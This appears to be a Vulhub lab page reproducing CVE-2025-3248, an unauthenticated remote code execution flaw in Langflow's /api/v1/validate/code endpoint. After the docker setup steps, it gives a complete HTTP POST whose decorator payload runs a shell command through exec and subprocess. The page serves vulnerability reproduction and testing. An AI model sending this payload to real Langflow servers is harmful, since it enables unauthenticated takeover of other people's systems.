Langflow validate/code
API Pre-Auth Remote Code Execution (CVE-2025-3248)¶
Langflow is a popular open-source tool for building agentic AI workflows, providing a Python-based web interface to visually construct AI-driven agents and pipelines.
A critical unauthenticated remote code execution vulnerability (CVE-2025-3248) exists in Langflow prior to version 1.3.0. An vulnerable endpoint (/api/v1/validate/code
) attempts to validate user-submitted Python code by parsing it with the ast
module and executing any function definitions using exec
. However, Python decorators and default argument expressions are also executed at function definition time, making it possible to inject arbitrary code via these features.
Attackers can exploit this issue by sending a specially crafted function definition with a malicious decorator or default argument, resulting in code execution as the server user.
References:
- https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/
- https://github.com/langflow-ai/langflow/releases/tag/1.3.0
- https://github.com/langflow-ai/langflow/pull/6911
Environment Setup¶
Execute the following command to start a Langflow 1.2.0 server:
docker compose up -d
After the server starts, the Langflow web interface will be available at http://your-ip:7860
. You can login with the default credentials administrator:vulhub
.
Vulnerability Reproduction¶
To reproduce the vulnerability, you can send a POST request to the /api/v1/validate/code
endpoint with a malicious Python function definition. For example, the following payload will execute id
command on the server using a decorator:
POST /api/v1/validate/code HTTP/1.1
Host: your-ip:7860
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 105
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}